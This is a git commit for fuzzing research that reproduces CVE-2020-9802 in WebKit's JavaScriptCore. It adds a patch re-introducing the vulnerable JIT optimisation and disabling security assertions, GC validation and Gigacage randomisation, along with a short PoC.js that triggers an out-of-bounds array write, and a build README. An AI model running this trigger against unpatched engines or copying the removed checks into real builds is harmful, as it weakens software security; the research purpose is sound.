commit f6094610c577e60bf1685be231e38a214c9be919 Author: Jack Ren Date: Wed Dec 14 12:29:48 2022 +0800 PoC Reproduction in version Safari-614.1.9 diff --git a/Safari-614.1.9/PoC/CVE-2020-9802-Safari-614.1.9.patch b/Safari-614.1.9/PoC/CVE-2020-9802-Safari-614.1.9.patch new file mode 100644 index 0000000..c4981d8 --- /dev/null +++ b/Safari-614.1.9/PoC/CVE-2020-9802-Safari-614.1.9.patch @@ -0,0 +1,139 @@ +diff --git a/.gitignore b/.gitignore +index f1dbddf346c9..1aae9461405e 100644 +--- a/.gitignore ++++ b/.gitignore +@@ -5,6 +5,7 @@ + .DS_Store + .directory + /WebKitBuild/ ++/Output*/ + /test262-results/ + autoinstall.cache.d + project.xcworkspace +diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h +index 67b010bc2f21..757f15597bfa 100644 +--- a/Source/JavaScriptCore/dfg/DFGClobberize.h ++++ b/Source/JavaScriptCore/dfg/DFGClobberize.h +@@ -283,7 +283,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu + + case ArithAbs: + if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse) +- def(PureValue(node, node->arithMode())); ++ def(PureValue(node)); + else + clobberTop(); + return; +@@ -299,7 +299,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu + if (node->child1().useKind() == Int32Use + || node->child1().useKind() == DoubleRepUse + || node->child1().useKind() == Int52RepUse) +- def(PureValue(node, node->arithMode())); ++ def(PureValue(node)); + else + clobberTop(); + return; +diff --git a/Source/JavaScriptCore/runtime/JSCast.h b/Source/JavaScriptCore/runtime/JSCast.h +index a6993159099c..1608afc0ff8f 100644 +--- a/Source/JavaScriptCore/runtime/JSCast.h ++++ b/Source/JavaScriptCore/runtime/JSCast.h +@@ -33,12 +33,14 @@ template + inline To jsCast(From* from) + { + static_assert(std::is_base_of::type>::value && std::is_base_of::type>::value, "JS casting expects that the types you are casting to/from are subclasses of JSCell"); ++/* + #if (ASSERT_ENABLED || ENABLE(SECURITY_ASSERTIONS)) && CPU(X86_64) + if (from && !from->JSCell::inherits(from->JSCell::vm(), std::remove_pointer::type::info())) + reportZappedCellAndCrash(*from->JSCell::heap(), from); + #else + ASSERT_WITH_SECURITY_IMPLICATION(!from || from->JSCell::inherits(from->JSCell::vm(), std::remove_pointer::type::info())); + #endif ++*/ + return static_cast(from); + } + +@@ -46,6 +48,7 @@ template + inline To jsCast(JSValue from) + { + static_assert(std::is_base_of::type>::value, "JS casting expects that the types you are casting to is a subclass of JSCell"); ++/* + #if (ASSERT_ENABLED || ENABLE(SECURITY_ASSERTIONS)) && CPU(X86_64) + ASSERT_WITH_SECURITY_IMPLICATION(from.isCell()); + JSCell* cell = from.asCell(); +@@ -54,6 +57,7 @@ inline To jsCast(JSValue from) + #else + ASSERT_WITH_SECURITY_IMPLICATION(from.isCell() && from.asCell()->JSCell::inherits(from.asCell()->vm(), std::remove_pointer::type::info())); + #endif ++*/ + return static_cast(from.asCell()); + } + +@@ -142,7 +146,7 @@ inline bool inheritsJSTypeImpl(VM& vm, From* from, JSTypeRange range) + static_assert(std::is_base_of::value && std::is_base_of::type>::value, "JS casting expects that the types you are casting to/from are subclasses of JSCell"); + bool canCast = range.contains(from->type()); + // Do not use inherits(vm) since inherits depends on this function. +- ASSERT_UNUSED(vm, canCast == from->JSCell::inherits(vm, Target::info())); ++ // ASSERT_UNUSED(vm, canCast == from->JSCell::inherits(vm, Target::info())); + return canCast; + } + +diff --git a/Source/JavaScriptCore/runtime/WriteBarrier.h b/Source/JavaScriptCore/runtime/WriteBarrier.h +index 383f72d04f1e..e24843e22c64 100644 +--- a/Source/JavaScriptCore/runtime/WriteBarrier.h ++++ b/Source/JavaScriptCore/runtime/WriteBarrier.h +@@ -53,6 +53,7 @@ template<> class WriteBarrierBase; + JS_EXPORT_PRIVATE void slowValidateCell(JSCell*); + JS_EXPORT_PRIVATE void slowValidateCell(JSGlobalObject*); + ++/* + #if ENABLE(GC_VALIDATION) + template inline void validateCell(T cell) + { +@@ -69,10 +70,11 @@ template<> inline void validateCell(JSGlobalObject* globalObjec + slowValidateCell(globalObject); + } + #else ++*/ + template inline void validateCell(T) + { + } +-#endif ++//#endif + + // We have a separate base class with no constructors for use in Unions. + template class WriteBarrierBase { +diff --git a/Source/bmalloc/bmalloc/Gigacage.cpp b/Source/bmalloc/bmalloc/Gigacage.cpp +index d10214881d9b..b47532b5e3ed 100644 +--- a/Source/bmalloc/bmalloc/Gigacage.cpp ++++ b/Source/bmalloc/bmalloc/Gigacage.cpp +@@ -135,6 +135,7 @@ void ensureGigacage() + // largest value of n so that n! <= 2^64. + static_assert(NumberOfKinds <= 21, "too many kinds"); + uint64_t random; ++ /* + cryptoRandom(reinterpret_cast(&random), sizeof(random)); + for (unsigned i = NumberOfKinds; i--;) { + unsigned limit = i + 1; +@@ -142,7 +143,7 @@ void ensureGigacage() + random /= limit; + std::swap(shuffledKinds[i], shuffledKinds[j]); + } +- ++ */ + auto alignTo = [] (Kind kind, size_t totalSize) -> size_t { + return roundUpToMultipleOf(alignment(kind), totalSize); + }; +diff --git a/Source/bmalloc/bmalloc/VMAllocate.h b/Source/bmalloc/bmalloc/VMAllocate.h +index de8e8b2589f4..1138135fe640 100644 +--- a/Source/bmalloc/bmalloc/VMAllocate.h ++++ b/Source/bmalloc/bmalloc/VMAllocate.h +@@ -123,7 +123,9 @@ inline void vmValidatePhysical(void* p, size_t vmSize) + inline void* tryVMAllocate(size_t vmSize, VMTag usage = VMTag::Malloc) + { + vmValidate(vmSize); +- void* result = mmap(0, vmSize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | BMALLOC_NORESERVE, static_cast(usage), 0); ++ static long long mmapPrefix = 1; ++ void* result = mmap((void*)(mmapPrefix*0x10000000000ll), vmSize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | BMALLOC_NORESERVE, static_cast(usage), 0); ++ mmapPrefix++; + if (result == MAP_FAILED) + return nullptr; + return result; diff --git a/Safari-614.1.9/PoC/PoC.js b/Safari-614.1.9/PoC/PoC.js new file mode 100644 index 0000000..1431e6c --- /dev/null +++ b/Safari-614.1.9/PoC/PoC.js @@ -0,0 +1,15 @@ +function f(arr, n) { + n &= 0xffffffff; + if (n < -1) { + let v = (-n)&0xffffffff; + let i = Math.abs(n); + if (i < arr.length) { + return arr[i] = 1000; + } + } +} +let arr= new Array(10); +for (let i = 0; i < 50000; i++) { + f(arr, -3); +} +f(arr, -2147483648); \ No newline at end of file diff --git a/Safari-614.1.9/PoC/README.md b/Safari-614.1.9/PoC/README.md new file mode 100644 index 0000000..3792416 --- /dev/null +++ b/Safari-614.1.9/PoC/README.md @@ -0,0 +1,30 @@ +# Motivation +The repository is for solving the following problem encountered in reproducing CVE-2020-9802 in the AFL crash exploring mode of fuzzing process. +1. The `jsc` interpreter(Commit ID: `17218d1485b0f5d98d2aad116d4fdb2bad6aee2d`), whose version just before patching CVE-2020-9802, unexpected crash when receiving input don't conform to JavaScript language syntax. +2. The heap allocator of JavaScriptCore is probabilistic, which lead to unstable crash in reproducing CVE-2020-9802 in JavaScriptCore. AFL even doesn't accept the PoC as seed as it doesn't produce crash in `perform_dry_run()`. + +# Solution +1. JavaScriptCore was updated into the latest compilable version `Safari-614.1.9`. It won't crash when receiving input don't conform to JavaScript language syntax. +2. The heap allocator of JavaScriptCore is modified to be deterministic. + +# Reproduction +```bash +export WEBKIT_PATH="WEBKIT_PATH" # Modify this to your WebKit directory path +export AFL_PATH="AFL_PATH" # Modify this to your AFL directory path + +# Git Clone +git clone https://github.com/WebKit/WebKit.git + +# Switch version and patch +git checkout Safari-614.1.9 +patch -p1 -i CVE-2020-9802-Safari-614.1.9.patch + +# Static linking of JavaScriptCore +# Build for tracing +WEBKIT_OUTPUTDIR=$WEBKIT_PATH/OutputTrace/ Tools/Scripts/build-webkit --jsc-only --debug --cmakeargs="-DENABLE_STATIC_JSC=ON -DUSE_THIN_ARCHIVES=OFF" +# Build for fuzzing +CC=$AFL_PATH/afl-gcc CXX=$AFL_PATH/afl-g++ WEBKIT_OUTPUTDIR=$WEBKIT_PATH/OutputFuzz/ Tools/Scripts/build-webkit --jsc-only --debug --cmakeargs="-DENABLE_STATIC_JSC=ON -DUSE_THIN_ARCHIVES=OFF" + +# Deterministic Reproduction +./jsc --useConcurrentJIT=false PoC.js +``` \ No newline at end of file